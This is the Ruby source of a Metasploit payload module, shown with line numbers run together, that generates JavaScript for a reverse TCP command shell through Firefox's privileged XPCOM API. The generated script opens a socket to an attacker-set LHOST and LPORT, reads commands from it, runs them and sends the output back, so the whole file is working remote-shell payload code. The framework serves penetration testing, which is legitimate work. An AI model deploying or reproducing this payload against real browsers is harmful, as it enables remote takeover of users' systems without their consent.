Path: blob/master/modules/payloads/singles/firefox/shell_reverse_tcp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Firefox10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',17'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},18'Author' => ['joev'],19'License' => BSD_LICENSE,20'Platform' => 'firefox',21'Arch' => ARCH_FIREFOX,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'firefox'25)26)27end2829def generate(_opts = {})30<<-EOS3132(function(){33window = this;3435Components.utils.import("resource://gre/modules/NetUtil.jsm");36var host = '#{datastore['LHOST']}';37var port = #{datastore['LPORT']};3839var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]40.getService(Components.interfaces.nsISocketTransportService);41var socket = socketTransport.createTransport(null, 0, host, port, null);42var outStream = socket.openOutputStream(0, 0, 0);43var inStream = socket.openInputStream(0, 0, 0);4445var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]46.createInstance(Components.interfaces.nsIInputStreamPump);47pump.init(inStream, -1, -1, 0, 0, true);4849#{read_until_token_source}5051var listener = {52onStartRequest: function(request, context) {},53onStopRequest: function(request, context) {},54onDataAvailable: readUntilToken(function(data) {55runCmd(data, function(err, output) {56if (!err) outStream.write(output, output.length);57});58})59};6061#{run_cmd_source}6263pump.asyncRead(listener, null);64})();6566EOS67end68end697071